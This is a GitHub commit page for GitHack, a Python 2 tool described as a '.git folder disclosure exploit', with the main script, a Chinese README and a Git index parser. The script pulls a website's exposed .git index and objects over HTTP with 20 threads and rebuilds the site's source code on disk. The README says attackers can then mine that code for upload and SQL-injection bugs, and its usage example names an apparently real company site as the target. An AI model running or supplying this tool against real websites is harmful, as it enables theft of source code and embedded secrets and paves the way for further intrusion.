Skip to content

Commit f4930c0

Browse files
committed
init commit
0 parents  commit f4930c0

File tree

6 files changed

+245
-0
lines changed

6 files changed

+245
-0
lines changed

GitHack.py

+75
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
import sys
2+
import urllib2
3+
import os
4+
import urlparse
5+
import zlib
6+
import threading
7+
import Queue
8+
import re
9+
from lib.parser import parse
10+
11+
12+
if len(sys.argv) == 1:
13+
msg = """
14+
15+
A `.git` folder disclosure exploit. By LiJieJie
16+
17+
Usage: GitHack.py http://www.target.com/.git/
18+
19+
bug-report: my[at]lijiejie.com (http://www.lijiejie.com)
20+
"""
21+
print msg
22+
sys.exit(0)
23+
24+
25+
class Scanner(object):
26+
def __init__(self):
27+
self.base_url = sys.argv[-1]
28+
self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')
29+
if not os.path.exists(self.domain):
30+
os.mkdir(self.domain)
31+
print '[+] Download and parse index file ...'
32+
data = urllib2.urlopen(sys.argv[-1] + '/index').read()
33+
with open('index', 'wb') as f:
34+
f.write(data)
35+
self.queue = Queue.Queue()
36+
for entry in parse('index'):
37+
if "sha1" in entry.keys():
38+
self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
39+
self.lock = threading.Lock()
40+
41+
def get_back_file(self):
42+
while True:
43+
try:
44+
sha1, file_name = self.queue.get(timeout=0.5)
45+
except:
46+
return
47+
for i in range(3):
48+
try:
49+
folder = '/objects/%s/' % sha1[:2]
50+
data = urllib2.urlopen(self.base_url + folder + sha1[2:]).read()
51+
data = zlib.decompress(data)
52+
data = re.sub('blob \d+\00', '', data)
53+
target_dir = os.path.join(self.domain, os.path.dirname(file_name) )
54+
if target_dir and not os.path.exists(target_dir):
55+
os.makedirs(target_dir)
56+
with open( os.path.join(self.domain, file_name) , 'wb') as f:
57+
f.write(data)
58+
self.lock.acquire()
59+
print '[OK] %s' % file_name
60+
self.lock.release()
61+
break
62+
except KeyboardInterrupt, e:
63+
break
64+
except urllib2.HTTPError, e:
65+
if str(e).find('HTTP Error 404') >=0: break
66+
except Exception, e:
67+
pass
68+
69+
def scan(self):
70+
for i in range(20):
71+
t = threading.Thread(target=self.get_back_file)
72+
t.start()
73+
74+
s = Scanner()
75+
s.scan()

README.md

+35
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
GitHack
2+
=
3+
4+
GitHack is a `.git` folder disclosure exploit.
5+
6+
It rebuild source code from .git folder while keep directory structure unchanged.
7+
8+
GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。
9+
10+
渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等安全漏洞。
11+
12+
## 脚本的工作原理 ##
13+
14+
* 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
15+
* 去.git/objects/ 文件夹下下载对应的文件
16+
* 使用zlib解压文件,按原始的目录结构写入源代码
17+
18+
## 它的优点 ##
19+
20+
* 速度快,默认20个工作线程
21+
* 尽量还原所有的源代码,缺失一部分文件不影响脚本工作
22+
* 脚本不需要执行额外的git命令,有python就够了
23+
24+
## 可能的改进##
25+
26+
* 存在文件被gc打包到git\objects\pack的情况,稍后可测试下看能否直接获取并解压这个文件,还原源代码
27+
28+
##用法示例##
29+
GitHack.py http://www.hoolai.com/.git/
30+
31+
##反馈##
32+
* my[at]lijiejie.com
33+
* [http://www.lijiejie.com](http://www.lijiejie.com)
34+
35+

lib/__init__.py

Whitespace-only changes.

lib/__init__.pyc

128 Bytes
Binary file not shown.

lib/parser.py

+135
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
#!/usr/bin/env python
2+
#
3+
# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt
4+
#
5+
6+
import binascii
7+
import collections
8+
import mmap
9+
import struct
10+
import sys
11+
12+
13+
def check(boolean, message):
14+
if not boolean:
15+
import sys
16+
print "error: " + message
17+
sys.exit(1)
18+
19+
20+
def parse(filename, pretty=True):
21+
with open(filename, "rb") as o:
22+
f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ)
23+
24+
def read(format):
25+
# "All binary numbers are in network byte order."
26+
# Hence "!" = network order, big endian
27+
format = "! " + format
28+
bytes = f.read(struct.calcsize(format))
29+
return struct.unpack(format, bytes)[0]
30+
31+
index = collections.OrderedDict()
32+
33+
# 4-byte signature, b"DIRC"
34+
index["signature"] = f.read(4).decode("ascii")
35+
check(index["signature"] == "DIRC", "Not a Git index file")
36+
37+
# 4-byte version number
38+
index["version"] = read("I")
39+
check(index["version"] in {2, 3},
40+
"Unsupported version: %s" % index["version"])
41+
42+
# 32-bit number of index entries, i.e. 4-byte
43+
index["entries"] = read("I")
44+
45+
yield index
46+
47+
for n in range(index["entries"]):
48+
entry = collections.OrderedDict()
49+
50+
entry["entry"] = n + 1
51+
52+
entry["ctime_seconds"] = read("I")
53+
entry["ctime_nanoseconds"] = read("I")
54+
if pretty:
55+
entry["ctime"] = entry["ctime_seconds"]
56+
entry["ctime"] += entry["ctime_nanoseconds"] / 1000000000
57+
del entry["ctime_seconds"]
58+
del entry["ctime_nanoseconds"]
59+
60+
entry["mtime_seconds"] = read("I")
61+
entry["mtime_nanoseconds"] = read("I")
62+
if pretty:
63+
entry["mtime"] = entry["mtime_seconds"]
64+
entry["mtime"] += entry["mtime_nanoseconds"] / 1000000000
65+
del entry["mtime_seconds"]
66+
del entry["mtime_nanoseconds"]
67+
68+
entry["dev"] = read("I")
69+
entry["ino"] = read("I")
70+
71+
# 4-bit object type, 3-bit unused, 9-bit unix permission
72+
entry["mode"] = read("I")
73+
if pretty:
74+
entry["mode"] = "%06o" % entry["mode"]
75+
76+
entry["uid"] = read("I")
77+
entry["gid"] = read("I")
78+
entry["size"] = read("I")
79+
80+
entry["sha1"] = binascii.hexlify(f.read(20)).decode("ascii")
81+
entry["flags"] = read("H")
82+
83+
# 1-bit assume-valid
84+
entry["assume-valid"] = bool(entry["flags"] & (0b10000000 << 8))
85+
# 1-bit extended, must be 0 in version 2
86+
entry["extended"] = bool(entry["flags"] & (0b01000000 << 8))
87+
# 2-bit stage (?)
88+
stage_one = bool(entry["flags"] & (0b00100000 << 8))
89+
stage_two = bool(entry["flags"] & (0b00010000 << 8))
90+
entry["stage"] = stage_one, stage_two
91+
# 12-bit name length, if the length is less than 0xFFF (else, 0xFFF)
92+
namelen = entry["flags"] & 0xFFF
93+
94+
# 62 bytes so far
95+
entrylen = 62
96+
97+
if entry["extended"] and (index["version"] == 3):
98+
entry["extra-flags"] = read("H")
99+
# 1-bit reserved
100+
entry["reserved"] = bool(entry["extra-flags"] & (0b10000000 << 8))
101+
# 1-bit skip-worktree
102+
entry["skip-worktree"] = bool(entry["extra-flags"] & (0b01000000 << 8))
103+
# 1-bit intent-to-add
104+
entry["intent-to-add"] = bool(entry["extra-flags"] & (0b00100000 << 8))
105+
# 13-bits unused
106+
# used = entry["extra-flags"] & (0b11100000 << 8)
107+
# check(not used, "Expected unused bits in extra-flags")
108+
entrylen += 2
109+
110+
if namelen < 0xFFF:
111+
entry["name"] = f.read(namelen).decode("utf-8", "replace")
112+
entrylen += namelen
113+
else:
114+
# Do it the hard way
115+
name = []
116+
while True:
117+
byte = f.read(1)
118+
if byte == "\x00":
119+
break
120+
name.append(byte)
121+
entry["name"] = b"".join(name).decode("utf-8", "replace")
122+
entrylen += 1
123+
124+
padlen = (8 - (entrylen % 8)) or 8
125+
nuls = f.read(padlen)
126+
check(set(nuls) == set(['\x00']), "padding contained non-NUL")
127+
128+
yield entry
129+
130+
f.close()
131+
132+
133+
134+
135+

lib/parser.pyc

2.99 KB
Binary file not shown.

0 commit comments

Comments
 (0)